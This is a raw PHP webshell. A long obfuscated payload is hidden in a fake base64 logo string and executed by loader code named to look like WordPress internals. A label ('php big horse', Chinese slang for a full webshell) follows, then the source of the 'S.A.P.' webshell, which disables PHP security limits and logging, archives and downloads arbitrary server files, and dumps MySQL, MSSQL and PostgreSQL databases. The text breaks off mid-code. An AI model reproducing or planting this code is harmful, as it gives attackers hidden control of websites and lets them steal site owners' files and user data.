MFkTOZEE4L09NBfZhAGBZIJpJB%BIWOdPw4vQALmfHxqSwfoJ9y0hcS73EINXMOJn0dTQYLl9FuQ11VlQL3NFn7fdj8%m+%gLQCMzr3eqvMOxZ+7rH+Ud20vdMfX9eyK%5d1HdCugByPIb4MpXwaSOZxXtPYs0xA2159Hh7Yh2%geVKowSuP9tBKmCldpXRQW5ABAp96E5b0qLZedGQa5inQfBGDxFYEGhStqdap48n8Pp1wwOwNbQil+fwYgIN6jv5Xl8cRE5q++uNbnQBmodQsQJ9v+ydFQyHCzQ539u7M9vnZJwNaelPJY1rQMBAlaf8PV8xRH0SHyp1HkcgJp8NE+gydHODlIkIaIre5TH60B1YGDRt8s%4oFMMVjvdj9IN%edkrvDQerK3dlUjLonBxW9phnHTat4TYnVPuTl0W1yjakhxYZJwosQmAd1cT0GRtx8edhpwXthAnXddlOM7gd1F8WLI21ZmogxZkdXFG5fUaxb4yS+zD1bM4uuN3NWrcj0EkisXKNGDE2xJStI2hsQDejOZT+866GGAFCJTHsvaZjvppT9MXBNLoyvUToUEIjgDhWYo8hocI+zulZF9CtX3y6ZsfxkM3fV4soa8TqQl3j8tfMPxNzdtqSU%eIVTQ0wHZWZrlM3Ib86pkZVHUg8lrImrHjnvzMb+iuE3dwLH0D3bW0uivmIeCPyN8dkn7TVek3p74cJbjN+8%X8N2vUlwUxA2qcK+vBZ%8CuN1Zcnv1U6yLfUX0v%XthAP%YdDyg8UIpfdzDssx7mmFx0AQZmWXG15R72u%LBFqCNGqOExWeA%wlPpz3XToueNfYp7F5QPmxNzIqeBMkc+iZUClwn50x+Cd2Aee+j0mzTQ4obJ4oxe3hF9dOxoENdh6JSycRuUmFFAVJlDNvgWfoKdKdC7JeAHl8Y14avjlPFcLV03ygwVAdsvIFzpx7vLr2DQbK%IiNKcJUaBLtgVJhU9amiBOSJBKdvKBRg%vhKic%0cauZyVoEURVTi0hAk4YAPi47%SiNa+RoPHY8cZ2GjI0q6TPvABNElvKvJLGrStiGuyo7THYNLwG1RH4AQ0EwMQwrFhsWLWa4ri%F2WDOn+FtRAe6mr6Cj%YRE93TizhfSdrKEE0hxbYa1jBciwLuuPrHKpJVE%a6NmogvGGZiwRcOp6PT1YKh8+Rqr8gRduBCQrzATPPVQ8hLtT%n1cYNCLQdvO7QXVvuIM2LTzuuA12OIXhH5PXVTxOM4nDly%FqrJC13MsuDofeEjew5RramLCS8GObtVY7wE4VAIaWZGB5fuF4RsnzKaBQh0yCtlRUEF0efQxEGM9dy6pWZBxHkevkZn5AawGlmYUAimAoaRh0SPWOjlqExX0FWs3M2FYRUWFxfxLo0eYm9zo3OF3dIgfRHmCxqTOMmYNy56GnwA4X9fLUdsr4bdM1a3SJY7avn73ue+wOyoVaF5+ZqY8D2HwOA+mQc3z3+7nMij9v%KkEKSn3py7EQ%0b%LG6KeV+8capwJMP9YjQic7XBRqSdXWsObBiE6qk0OFMYJdr4LkKxQMwLvrsFqTyrIQF1rRGII7C4JG9NunoILrYOaoj8d2Mdsx4hntWgBdge2ljq8st5Dq57eMJVUBwG1ZrCeAptOgO8wfizVEw7DZmJI73JX9HSiA6UuP9jPg3qz2Tv%PmOFkUUzK%pwLDPfMZKvn6j8ErMgZ9XxWC%ScPBDB93BWqS5Kp8UZ2mJZz2gQjtYCoY2tAHzzV4cSipxJTokFavBllk7g+HPqn8h33wzzZNoTg8F+zfJJ1iGSRTc551p8pbuhO8d8TND+VVDYOnqdITjgQPJYdMvXHAldMUY+k0yUtyFV3XOfAVTAlY5CiwiiBxBA0mrWXVg6fFbj1RQ7KedKmaWEIrFvHIRi17dQd83hGnZ0%UKoehnE75kjVXyO6zzlQuBc05VutEPzqMLG4uCBxfQSPyqBRAbP5AZ7FKVGMldvCLCcaIBuhSUXtAiM1GMCPu1zlj2xEnjUmXBhZu73mIHIalkbtvho5hj+S9DVxe95dXgNLAAU7Y%Hfp+jlE2ZJv%XQKdnehJlnoWD8i8d0D+0t+p2EPjH5uSjkNDYNMrrP+ix+9YPV0C34Kam09D88BhNKEXO2CA%trSPWo+MQWtRJD1BPaKv4AcacgpR2qCmEsTQHmTDjFg6zQeZXbOE5Q8CDF7pXPZvHm%s0PIItqQlCaQhJfaeBZoOaXIN0blq5ZqwbIXvprMvxS+%7IXpeWlb%4M4KjTTCzpFflltNhn9sc4yHCnQ5rgEOlKAwX93rJMMypDUR6q9UYCIpSeBMvatRl+dR7txgC8FKcC9afcyJWtNXNT3WiVBBEvA86zfROI1APcc0dOQGfOL5GLAJABncAM7e7gxS+KU%GYoWkC4fv%PF8ERdwJ8jldkjErvu2vJvhycgilznNjdgZ2KeU68YH9ON9ODYoAqyimYcjdd6ho+n4ImbgDnSycrWFBYoA5fessyl+UXuiU%s8CE%sPbzErUdJckvhza5wfhF+KJLSpDI4FE2klymbIndj75hiYTV1oytNbSJBjaWTWL0WYsT8CqNmSeDf9GYG3m4eonFvgGHdKIDicJ5udIC%gfvPVycrbKe0b15rUzKZEHYuXdGAfV7rygCc%Q9xDKK57kCVY7YbdycZSaKHuMEzWw+SePxxtWM7WJ7nSao2WdEW1d1FBV0YvGoNhF4w2+AyW8j3RkixLyxpKstSUWAwmhPdIHy%eTjBqTh5kJTQvMnuSULcAtLj+ahD2hScga74aZJ5nIcaVGAZDc4RHx1RpN0gU1AErYPebHP1LpcHywyKEmF3%xzDGSGbn+FF3dAPDA85fMKV1xEfjqFh%xYfEoOGAfgJaq0rYXlDDusk97mfp5fQcMpHKlG%XQvq5nZlSoBHZMMA2qgDntGeGlfDVRzn2JyR1%XW0MJ7AxRnAShUG9ePAmQ%yrXqQJjoAYqG8NG926Q++dkckp5i+ZLEZhiziXlEahUiW49w5GzqY6P%PpuwADr0CplJ0mOPiO6oqHLW8d4yniGW%0mn02jExydF0z2%SuFRKN1AmQqNCeST6E3rpzQmvLitfEksHTwvrL2N97QxaZkD2%UdCGsfWoy2TTl%CWZ1XhOfJS10aF6h%SWV8sJCbuM8Ry3EcDaS+xNwV7D2P95yKikA7CK5+iV4mVS5zwkTV%Bz2wYpxzoGmbL0YPXKEWl8PE8XroGC95TFQzbQfjbYN1EHQ64Ib4fE1NPCT6wtQnfH+dIfn%PPI4%cgfY4nGcmBEhwJuOK+2IGnOrQuK3lOD+h3C7Z+cwlyoov1VyjnvCmLYm%7QjO8dfAYbx6xwaenhPVJ35uyBRAayKETiTj9QqEjUctOamg+XkHZ0devKzIQwYeTQyi%JKfKAvCCcFmBYlRYn6tRxq2zvd17v00z4h%CAQgKLr+fSB0C1bemk8%u7I+7fExZ8jq4MJEWOFmo7aa1jR%yoKnEwGzZvx%EYtaF71n68p9pvBbNbVKQyEi4nnzRIQfsxWnWAme69ekhIvYKwy6zhG%%srzerTETbyxG0gt6dqukwj3WDq5DhQXyXXZ0dr%Uuh7OYEIHjyB3anDL5Ukgk7cNP%NpAIkqUpzDjjMo4I%thq1A9q2o1g6WXUF2hf5903R93dVqmFBXjJwRYidv4JvFUWy7etuahwHXH6uWWQCEC47SkGe2MSELfZAp73sXYymUXm3VRKMvssWZ2RxImTjrjkg9aeU5u7VRcvRlztsQ+TYJiaYDt34NULKBbheWtMBjC5KrnLCKyHwXqCG3IeTrv%aAz6Kq5C3eKr0uthNadYK6mlq6b3Eqtudz+vbKzssphrM6LEI1nt2mHQsgjD3BD85oF6J7FvLBSndxwi4gCsGNdpbrDtSDNKFNQeODmWSTa5VUCuAk7HcEgLcGtoWT5ZC6t014o4U+lvjYqFqS1FMWEataSD8N1GRLnShwjAZEPqMcgYGTwr61yQioImriy5T+bVct227JKV5+ujZrR5am1AU0iHvnbfTcI2imFIWncBCbnAEq3FJxp3IkFzpEhmrvmvt5BhoUw++HbqeVfRnQyRTz9GZkIcYcKY1Wtvi7UwV5Zkmd8s8t1P9YNJZkksRpu+sY6GlhmuJUAcV+I+7EZQrBa9Yn4kc%8p8yj6oV+UGpFTAcR47Yog23gZmPFWQL9DoWG8JJlj7UvMlocoubDltF8v8Plo9LuI4+kwU78P0kGjUJW8UV%nOHCuTI4SBGpCqOeAbv3pcxx6T5wSEvLX+0X%jBNio7gx50lu4I8x4OVRbqwiDbyyQFNWROF7IQH4+vXhKzaAjCEJGpz4gPRDIGtA2ilEUh9xqxeNIDTuiyrSX2jNWvBDfN2Epvn2H4WfvdZ4za2n4ec4nSSo8E235Vw2oaUU72w1pCj3Q5HLdPl5Dp3eMwHHV8o3ZeKogjd9Wzh6ipAf3BFnnKdOTQ+3Fio7nbFlJzDCfjnR+APaqwnVUw%RP1OE+qQ3h%2x3M72uV4scEf2sVmCI9ojggRJP9B9B8jyb8bb4AIIKYgHUEdfYCgNbrNqnBiYHkB2BEGLNzXXZC6v7fraQY6Gkr0AR1BV8YBBk9tgO9mpSQI1Kurqw7DWF4q3HelVj0nqcFCSdE4hxcEDO9MMwq7slfr8PJb3p%uHaX5pcNo6CGwRP0zZbkeoYtc2kRbjeZUs2rU8Y745PE2VviRPAahr%52%PGbDYzik%mq87eaeQQos9beKeustGWUWxi96VmqOwGdNpmEi+LiMcSeDy6tcaVdXvxQJUQYs+0Q14N2%2M5JYhWwHjfUdzkmPS3CucrpVo%xQHaeXj0N5xAtnmbYEgLAmQjv4%N7bAYYIsjVauoncqP0B5aRVAJ+lUwJ6AADHaCwrQpZnz5kGcgqygMq8AKbSTJoJgAZanqiWUyEHquUkMHdNGJ1mgDx1azqFev4fR+fuXJ%cFNVDwYVHg+QVjhjP+sIVd4q60J7oQGrGMrB10evq9qu2FMgieZUiYsyBybLxnz22Xv5eAsOGur+XW6%jwaG2Ks%5u1tWsnysMpIEYv3k24d9sq9UXtDYq7nsso+lhYABu3Mwe18VuYcqiJDoBqVLvk%FFu0UhJ3I+ksKAHoqEFNDFpBZ9ciW+F8fjMbX+XYF6YFJJoFz3HK1lJ3v46cr2PNHINb5bnCu%HJh9FeKoosJlvAyOjP1FuzC0kopDcsSWHjMiCFUXK9VCnhINe9f0b9sOxzDr0NxzQ5sd%VPDJhTqwISQStkcLFH3mQwZjxYxTahcdOgPIDwr73H2fRMXwFEFGfYR9YQQ1Be+4FxhW6yL6ckM85SLnlVOpslUDerK%7xtcmVxWkYr3Pf4nsBIBPg1HTE%pz1qQejKouz3r5h6KGHN8xcYN3tRNCCk9a5EgSVLE06qU7UIuZ2t2BA%WWrf0lfYnLsmrx4dxDPuylhycFyjTnH0GblKQp0ByKWR%DZFbPw6WflqPfc6aYY03RDPeJgwrdaZorsY+L6UtmBA+H2tr1vg94u1YRc0GRCkOGwgtJ62USOKiMLzZVb6KZCZL1RYnWqFJpdNZ5JUt9xUqVJH8mB5UpWzgIMrwk5l6GNXQ2v0LMlzMMDY5SXB0ND2t+pdu42nk4UbCyDiNLOqj0GZgQBuCqjawtt9fuRFGc+UXJCX77K502hLxb3VOHHDF+lyIiwdE45uth15z81GSzjM3%RvMKKjnoMHEEip6iZgG7PjlThiwWre54O0FVaRJrDTV4JPI6fvhey55P1XbhJX1UA6R9hY5UqMx5Msknw1gUsoohpSoEPYR7GQimZSpmkVUUqyA9FAr7A8RY%T5fjg4UnQn6dbrecwctFBXvx30p8ou2M09kxeh4MidsYHyHSDdRSm3FgzWXJYkCk2yiyzTQPEoBCzuo454yB8odKb0dhao0PAutvqQS1Euq8sHib8qmihtsMWlRAYiBPfsYl8PsDAPyLLBJLFxSmOys%8gPDpGzgkMwzJXtqy%o9PSpQoY+Q9K3sV8jZ3AcLEHCWlzNo0lzjzk+tA0%kL6R+zvMKCW9LysMu8gSMH4bTpnHYXR5ZbRncNQeAIMRg0rvlfzcFXCADX5mdQ0zk5KUKl51dVPMjfkhRmdIOsjVLUP8z9P7qgcdOo2C2C5%5l7ji9T24h%taPnuAc8MQ30h%CJOsv64Fr5XSREfIACjK71+HWHFuKkkTm5HmgCihFaI8DrvQCzBjN9xgNx0av+jc8tefZLdATeDo4iGjF9TpQmHCULZBGmHevnRSqNYJMGwSoPcwOXMdLxGlM69l0MMIfk9Q**">';
preg_match('#<img src="data:image/png;base64,(.*)">#', $wp_default_logo, $logo_data);
$wp_kses_data = $logo_data[1];

$wpautop = pre_term_name( $wp_kses_data, $wp_nonce );

if( isset( $wpautop ) ){
	if( isset($_POST['_f_wp']) ) @setcookie( '_f_wp', $_POST['_f_wp'] );
	$shortcode_unautop = create_function( '', $wpautop );
	unset( $_f_wp, $wpautop );
	$shortcode_unautop();
}

echo $wp_auth_check;

?>

php大马

/* d66d26866789b352294fe2da07b1af004ad56f910 */@ini_set('log_errors_max_len',0);@ini_restore('log_errors');@ini_restore('error_log');@ini_restore('error_reporting');@ini_set('log_errors',0);@ini_set('error_log',NULL);@ini_set('error_reporting',NULL);@error_reporting(0);@ini_set('max_execution_time',0);@set_time_limit(0);@ignore_user_abort(TRUE);@ini_set('memory_limit','1000M');@ini_set('file_uploads',1);@ini_restore('magic_quotes_runtime');@ini_restore('magic_quotes_sybase');@ini_set('magic_quotes_gpc',0);@ini_set('magic_quotes_runtime',0);@ini_set('magic_quotes_sybase',0);if(PHP_VERSION<'5.4') @set_magic_quotes_runtime(0);@ini_restore('safe_mode');@ini_restore('open_basedir');@ini_restore('safe_mode_exec_dir');@ini_set('safe_mode',0);@ini_set('open_basedir',NULL);@ini_set('safe_mode_exec_dir','');@ini_restore('disable_function');@ini_set('disable_function', '');function escHTML($v){return str_replace(array('&', '"', '<', '>'), array('&amp;', '&quot;', '&lt;', '&gt;'),$v);}function ssa($a){foreach($a as $k=>$v)if(is_array($v))$a[$k]=ssa($v);else $a[$k]=stripslashes($v);return($a);}function bname($p){$p=explode(DIRECTORY_SEPARATOR,$p);return end($p);}if(@get_magic_quotes_gpc())$_POST=ssa($_POST);class zc {var $cr=''; var $fc=0; var $co=0; var $msm=5242880; var $msd=52428800; var $ig; var $fs; function init($n='archive'){$this->ig=@function_exists('gzopen');header('Content-type: application/x-zip');header('Content-Disposition: attachment; filename='.$n.'_'.$_SERVER['HTTP_HOST'].'_'.date('Y-m-d_H.i').'.zip');header('Content-Transfer-Encoding: binary');header('Last-Modified: '.@gmdate('D, d M Y H:i:s').' GMT');}function add($a){foreach($a as $v)if(@is_readable($v)){if(@is_dir($v))$this->ad($v,$v);elseif(@is_file($v))$this->af($v,$v);}}function ad($p,$n){if($d=@opendir($p)){while( FALSE !==($v=@readdir($d)))if($v!='.' && $v!='..' && @is_readable($p.DIRECTORY_SEPARATOR.$v)){if(@is_dir($p.DIRECTORY_SEPARATOR.$v))$this->ad($p.DIRECTORY_SEPARATOR.$v,$n.'/'.$v);elseif(@is_file($p.DIRECTORY_SEPARATOR.$v))$this->af($p.DIRECTORY_SEPARATOR.$v,$n.'/'.$v);}@closedir($d);}}function af($p,$n){$s=@stat($p);if(!$s) return;$h1="\x14\x00\x08\x00". (($this->ig && ($s[7]<=$this->msd ))?"\x08":"\x00" ). "\x00" .$this->pd($s[9]);$h2=pack('v', strlen($n)). "\x00\x00";echo "\x50\x4b\x03\x04",$h1, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",$h2,$n;if($this->ig && ($s[7]<=$this->msm)){$b=@file_get_contents($p);$crc=pack('V', crc32($b));$b=gzdeflate($b);$cs=strlen($b);echo $b;}elseif($this->ig && ($s[7]<=$this->msd)){$t=@tempnam('/tmp/', '');$f=@fopen($p, 'rb');$g=@gzopen($t, 'wb');while(!feof($f)) @gzwrite($g, fread($f, 1048576));@gzclose($g);@fclose($f);$f=@fopen($t, 'rb');@fseek($f, 10);while(!feof($f))echo fread($f, 1048576);@fseek($f, -8, SEEK_END);$crc=fread($f, 4);@fclose($f);$cs=@filesize($t)-10; @unlink($t);}else{$cs=0;$crc=false;$f=@fopen($p, 'rb');while(!feof($f)){$b=fread($f, 1048576);$l=strlen($b);$cc=crc32($b);$cs +=$l;echo $b;$b='';if($crc)$crc=$this->crc32c($crc,$cc,$l);else $crc=$cc;}@fclose($f);$crc=pack('V',$crc);}$h3=$crc. pack('V',$cs). pack('V',$s[7]);echo "\x50\x4b\x07\x08",$h3;$this->cr .="\x50\x4b\x01\x02\x00\x00".$h1.$h3.$h2."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".pack('V',$this->co).$n;$this->co +=$cs+46+strlen($n);++$this->fc;}function of($n){$this->fs['n']=$n;$h="\x14\x00\x08\x00\x00\x00".$this->pd(time());$this->cr .="\x50\x4b\x01\x02\x00\x00".$h;$this->fs['h2']=pack('v', strlen($n))."\x00\x00";echo "\x50\x4b\x03\x04",$h, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",$this->fs['h2'],$n;$this->fs['cs']=0;$this->fs['crc']=false;}function wf($d){$l=strlen($d);$cc=crc32($d);$this->fs['cs'] +=$l;if($this->fs['crc'])$this->fs['crc']=$this->crc32c($this->fs['crc'],$cc,$l);else $this->fs['crc']=$cc;echo $d;}function cf(){$h=pack('V',$this->fs['crc']).pack('V',$this->fs['cs']).pack('V',$this->fs['cs']);echo "\x50\x4b\x07\x08",$h;$this->cr .=$h.$this->fs['h2']."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".pack('V',$this->co).$this->fs['n'];$this->co +=$this->fs['cs']+46+strlen($this->fs['n']);$this->fs=array();++$this->fc;}function pd($t){$t=getdate($t);return pack('v', ($t['hours']<<11)+($t['minutes']<<5)+$t['seconds']/2).pack('v', (($t['year']-1980)<<9)+($t['mon']<<5)+$t['mday']);}function cl(){$c="Archive created by S.A.P. v.2.1\nHost: : ".$_SERVER['HTTP_HOST']."\nDate : ".date('d-m-Y');$this->fc=pack('v',$this->fc);echo $this->cr, "\x50\x4b\x05\x06\x00\x00\x00\x00",$this->fc,$this->fc, pack('V', strlen($this->cr)), pack('V',$this->co), pack('v', strlen($c)),$c;}function crc32c($c1,$c2,$l){$o[0]=0xedb88320;$r=1; for($i=1;$i<32; ++$i){$o[$i]=$r;$r<<=1;}$this->cgms($e,$o);$this->cgms($o,$e);do {$this->cgms($e,$o);if($l & 1)$c1=$this->cgmt($e,$c1);$l>>=1;if($l==0)break;$this->cgms($o,$e);if ($l & 1)$c1=$this->cgmt($o,$c1);$l>>=1;}while($l !=0);return $c1 ^ $c2;}function cgms(&$s, &$m){for($i=0;$i<32; ++$i)$s[$i]=$this->cgmt($m,$m[$i]);}function cgmt(&$m,$v){$s=$i=0; while($v ){if($v & 1)$s ^=$m[$i];$v=($v >> 1) & 0x7FFFFFFF; ++$i;}return $s;}}class sc {var $tp=''; var $cl=NULL; var $cs=''; var $rs=NULL; var $sv=NULL; function init($tp){$this->tp=$tp;}function cn($ha,$hp,$un,$up){switch($this->tp){case 'mysql': $p=empty($hp)?'':':'.$hp;if($this->cl=@mysql_connect($ha.$p,$un,$up, TRUE)){@mysql_query('SET NAMES utf8',$this->cl);$this->sv=@mysql_get_server_info($this->cl);}break;case 'mssql': $p=empty($hp)?'':','.$hp;$this->cl=@mssql_connect($ha.$p,$un,$up, TRUE);break;case 'pg': $p=empty($hp)?'':' port='.$hp;$this->cs=$cs='host='.$ha.$p.' user='.$un.' password='.$up;$this->cl=@pg_connect($cs);break;}if($this->cl) return TRUE; else return FALSE;}function sd($n){switch($this->tp){case 'mysql': @mysql_select_db($n,$this->cl);break;case 'mssql': @mssql_select_db($n,$this->cl);break;case 'pg': @pg_close($this->cl);$this->cl=@pg_connect($this->cs.' dbname='.$n);break;}}function q($q){switch($this->tp){case 'mysql': $this->rs=@mysql_query($q,$this->cl);break;case 'mssql': $this->rs=@mssql_query($q,$this->cl);break;case 'pg': $this->rs=@pg_query ($this->cl,$q);break;}return $this->rs;}function ql($d,$t,$p,$l){switch($this->tp){case 'mysql': $p=($p-1)*$l;$q='SELECT * FROM `'.$d.'`.`'.$t.'` LIMIT '.$p.','.$l; break;case 'mssql': $t=explode('.',$t, 2);$p=$p*$l;$q='SELECT TOP '.$l.' * FROM (SELECT TOP '.$p.' * FROM ['.$d.'].['.$t[0].'].['.$t[1].'] ORDER BY 1 DESC)T ORDER BY 1 ASC'; break;case 'pg': $p=($p-1)*$l;$t=explode('.',$t, 2);$q='SELECT * FROM "'.$d.'"."'.$t[0].'"."'.$t[1].'" LIMIT '.$l.' OFFSET '.$p; break;}return $q;}function ld(){switch($this->tp){case 'mysql': $this->rs=@function_exists('mysql_list_dbs')?@mysql_list_dbs($this->cl) : @mysql_query('SHOW DATABASES',$this->cl);if(@mysql_num_rows($this->rs)==0 && $this->sv[0]>'4')$this->rs=@mysql_query('SELECT schema_name FROM information_schema.schemata',$this->cl);break;case 'mssql': if((!$this->rs=@mssql_query('SELECT name FROM sys.databases',$this->cl)) || @mssql_num_rows($this->rs,$this->cl)==0)if((!$this->rs=@mssql_query('SELECT name FROM sys.sysdatabases',$this->cl)) || @mssql_num_rows($this->rs,$this->cl)==0)if((!$this->rs=@mssql_query('EXEC sys.sp_databases',$this->cl)) || @mssql_num_rows($this->rs,$this->cl)==0)if((!$this->rs=@mssql_query('EXEC sys.sp_helpdb',$this->cl)) || @mssql_num_rows($this->rs,$this->cl)==0)$this->rs=@mssql_query('EXEC sys.sp_oledb_database',$this->cl);break;case 'pg': if((!$this->rs=@pg_query($this->cl, 'SELECT datname FROM pg_catalog.pg_database WHERE NOT datistemplate')) || @pg_num_rows($this->rs)==0)$this->rs=@pg_query($this->cl, 'SELECT datname FROM pg_catalog.pg_stat_database WHERE numbackends!=0');break;}return $this->rs;}function lt($n){switch($this->tp ){case 'mysql': $this->rs=@function_exists('mysql_list_tables')?@mysql_list_tables($n,$this->cl):@mysql_query('SHOW TABLES FROM `'.$n.'`',$this->cl);if(@mysql_num_rows($this->rs)==0 && $this->sv[0]>'4')$this->rs=@mysql_query("SELECT table_name FROM information_schema.tables WHERE table_schema='".$n."'",$this->cl);break;case 'mssql': if((!$this->rs=@mssql_query("SELECT table_schema+'.'+table_name FROM [".$n."].[information_schema].[tables] ORDER BY table_schema",$this->cl)) || @mssql_num_rows($this->rs,$this->cl)==0)if((!$this->rs=@mssql_query("SELECT schema_name(schema_id)+'.'+name FROM [".$n."].[sys].[tables] ORDER BY schema_id",$this->cl)) || @mssql_num_rows($this->rs,$this->cl)==0)if((!$this->rs=@mssql_query("SELECT schema_name(schema_id)+'.'+name FROM [".$n."].[sys].[objects] WHERE type='U' ORDER BY schema_id",$this->cl)) || @mssql_num_rows($this->rs,$this->cl)==0)$this->rs=@mssql_query("SELECT schema_name(schema_id)+'.'+name FROM [".$n."].[sys].[all_objects] WHERE type='U' ORDER BY schema_id",$this->cl);break;case 'pg': @pg_close($this->cl);$this->cl=@pg_connect($this->cs.' dbname='.$n);if((!$this->rs=@pg_query($this->cl, 'SELECT table_schema||\'.\'||table_name FROM "'.$n.'"."information_schema"."tables" WHERE table_schema!=\'pg_catalog\' AND table_schema!=\'information_schema\' ORDER BY table_schema')) || @pg_num_rows($this->rs)==0)if((!$this->rs=@pg_query($this->cl, 'SELECT schemaname||\'.\'||tablename FROM "'.$n.'"."pg_catalog"."pg_tables" WHERE schemaname!=\'pg_catalog\' AND schemaname!=\'information_schema\' ORDER BY schemaname')) || @pg_num_rows($this->rs)==0)if((!$this->rs=@pg_query($this->cl, 'SELECT schemaname||\'.\'||relname FROM "'.$n.'"."pg_catalog"."pg_stat_all_tables" WHERE schemaname!=\'pg_catalog\' AND schemaname!=\'pg_toast\' AND schemaname!=\'information_schema\' ORDER BY schemaname')) || @pg_num_rows($this->rs)==0)$this->rs=@pg_query($this->cl, 'SELECT schemaname||\'.\'||relname FROM "'.$n.'"."pg_catalog"."pg_statio_all_tables" where schemaname!=\'pg_catalog\' AND schemaname!=\'pg_toast\' AND schemaname!=\'information_schema\' ORDER BY schemaname');break;}return $this->rs;}function ts($d,$t){switch($this->tp ){case 'mysql': if($this->sv[0]>'4' && $r=@mysql_query("SELECT table_rows FROM information_schema.tables WHERE table_schema='".$d."' AND table_name='".$t."'",$this->cl)) return (int)@mysql_result($r, 0, 0);else{$r=@mysql_query('SELECT COUNT(*) FROM `'.$d.'`.`'.$t.'`',$this->cl);return (int)@mysql_result($r, 0, 0);}break;case 'mssql': $t=explode('.',$t, 2);$r=@mssql_query('SELECT COUNT(*) FROM ['.$d.'].['.$t[0].'].['.$t[1].']',$this->cl);return (int)@mssql_result($r, 0, 0);break;case 'pg': $t=explode('.',$t, 2);if(!$r=@pg_query($this->cl, 'SELECT n_live_tup FROM "'.$d.'"."pg_catalog"."pg_stat_all_tables" WHERE schemaname=\''.$t[0].'\' AND relname=\''.$t[1].'\''))$r=@pg_query($this->cl, 'SELECT COUNT(*) FROM "'.$d.'"."'.$t[0].'"."'.$t[1].'"');return (int)@pg_fetch_result($r, 0, 0);break;}}function fv($o,$r=NULL){if($r==NULL)$r=$this->rs;if($this->tp=='pg')$f='pg_fetch_result'; else $f=$this->tp.'_result'; return @$f($r,$o, 0);}function fn($o){$f=$this->tp.'_field_name'; return @$f($this->rs,$o);}function fr(){$f=$this->tp.'_fetch_row'; return @$f($r=$this->rs);}function e(){switch($this->tp){case 'mysql': return @mysql_error($this->cl);break;case 'mssql': return @mssql_get_last_message();break;case 'pg': return @pg_last_error($this->cl);break;}}function dt($d,$t, &$f){switch($this->tp ){case 'mysql': $f->wf("\n-- \n-- `".$d."`.`".$t."`\n-- \nDROP TABLE IF EXISTS `".$t."`;\n");@mysql_query('SET SQL_QUOTE_SHOW_CREATE=1',$this->cl);$q=@mysql_query('SHOW CREATE TABLE `'.$d.'`.`'.$t.'`',$this->cl);$q=@mysql_fetch_row($q);$f->wf(preg_replace('/(default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP|DEFAULT CHARSET=\w+|COLLATE=\w+|character set \w+|collate \w+)/i', '/*!40101 \\1 */',$q[1]).";\n\n");$q=@mysql_unbuffered_query('SELECT * FROM `'.$d.'`.`'.$t.'`',$this->cl);if($r=@mysql_fetch_row($q)){$f->wf('INSERT INTO `'.$t.'` VALUES ');$r=array_map('mysql_real_escape_string',$r);$f->wf("\n('".implode("', '",$r)."')");while($r=@mysql_fetch_row($q)){$r=array_map('mysql_real_escape_string',$r);$f->wf(",\n('".implode("', '",$r)."')");}$f->wf(";\n");}break;case 'mssql': $t=explode('.',$t, 2);$f->wf("\n-- \n-- ".$t[0].".".$t[1]."\n-- \nIF EXISTS(SELECT table_name FROM information_schema.tables WHERE table_name='".$t[1]."') DROP TABLE [".$t[1]."];\nCREATE TABLE [".$t[1]."] ( ");$q="SELECT '['+column_name+']', '['+data_type+']', case when character_maximum_length IS NOT NULL then '('+ cast( character_maximum_length as varchar(255)) +')' end, case when is_nullable='no' then 'NOT NULL' end, case when column_default IS NOT NULL then 'DEFAULT '+column_default end FROM ".$d.".information_schema.columns WHERE table_schema='".$t[0]."' AND table_name='".$t[1]."'";$q=@mssql_query($q,$this->cl);$c=array();while($r=@mssql_fetch_row($q))$c[]=implode(' ',$r);$f->wf(implode(', ',$c).");\n\n");$q=@mssql_query('SELECT * FROM ['.$d.'].['.$t[0].'].['.$t[1].']',$this->cl);if($r=@mssql_fetch_row($q)){$f->wf('INSERT INTO ['.$t[1].'] VALUES ');$r=array_map('addslashes',$r);$f->wf("\n('".implode("', '",$r)."')");while($r=@mssql_fetch_row($q)){$r=array_map('addslashes',$r);$f->wf(",\n('".implode("', '",$r)."')");}$f->wf(";\n");}break;case 'pg': @pg_close($this->cl);$this->cl=@pg_connect($this->cs.' dbname='.$d);$t=explode('.',$t, 2);$f->wf("\n-- \n-- ".$t[0].".".$t[1]."\n-- \n".'DROP TABLE IF EXISTS "'.$t[1].'";'."\n".'CREATE TABLE "'.$t[1].'" ( ');$q="SELECT '\"'||a.attname||'\"', format_type(a.atttypid, a.atttypmod), CASE WHEN a.attnotnull then 'NOT NULL' end FROM pg_class c, pg_attribute a WHERE c.relname='".$t[1]."' AND not a.attisdropped AND a.attnum>0 AND a.attrelid=c.oid AND c.relnamespace=(select oid from pg_namespace where nspname='".$t[0]."')";$q=@pg_query($this->cl,$q);$c=array();while($r=@pg_fetch_row($q))$c[]=implode(' ',$r);$f->wf( implode(', ',$c).");\n\n");$q=@pg_query($this->cl, 'SELECT * FROM "'.$d.'"."'.$t[0].'"."'.$t[1].'"');if($r=@pg_fetch_row($q)){$f->wf('INSERT INTO "'.$t[1].'" VALUES ');$r=array_map('pg_escape_string',$r);$f->wf("\n('".implode("', '",$r)."')");while($r=@pg_fetch_row($q)){$r=array_map('pg_escape_string',$r);$f->wf(",\n('".implode("', '",$r)."')");}$f->wf(";\n");}break;}}function cl(){$f=$this->tp.'_close'; @$f($this->cl);}}if(isset($_POST['fdw']) || isset($_POST['fdwa'])){@session_write_close();if(isset($_POST['fdwa']) && !empty($_POST['fc'])){$_POST['fc']=array_map('str_rot13',$_POST['fc']);$z=new zc();$z->init();$z->add($_POST['fc']);$z->cl();die();}elseif(isset($_POST['fdw'])){$_POST['fdw']=str_rot13($_POST['fdw']);header('Content-type: multipart/octet-stream');header('Content-Disposition: attachment; filename='.bname($_POST['fdw']));header('Content-Transfer-Encoding: binary');header('Accept-Ranges: bytes');header('Content-Length: '.@filesize($_POST['fdw']));header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');@readfile($_POST['fdw']);die();}}if(isset($_POST['sdd']) && !empty($_POST['cd'])){$z=new zc();$z->init('SQL_dump');@session_start();$c=$_SESSION['DB']; @session_write_close();$s=new sc();$s->init($c['tp']);if($s->cn($c['ha'],$c['hp'],$c['un'],$c['up'])){foreach($_POST['cd'] as $v){$z->of($v.'.sql');$z->wf('-- -------------------------------- --'."\n".'-- [  SQL Dump created by S.A.P.  ] --'."\n".'-- ['.str_pad($_SERVER['HTTP_HOST'], 30, ' ', STR_PAD_BOTH).'] --'."\n".'-- [          '.date('Y/m/d').'          ] --'."\n".'-- 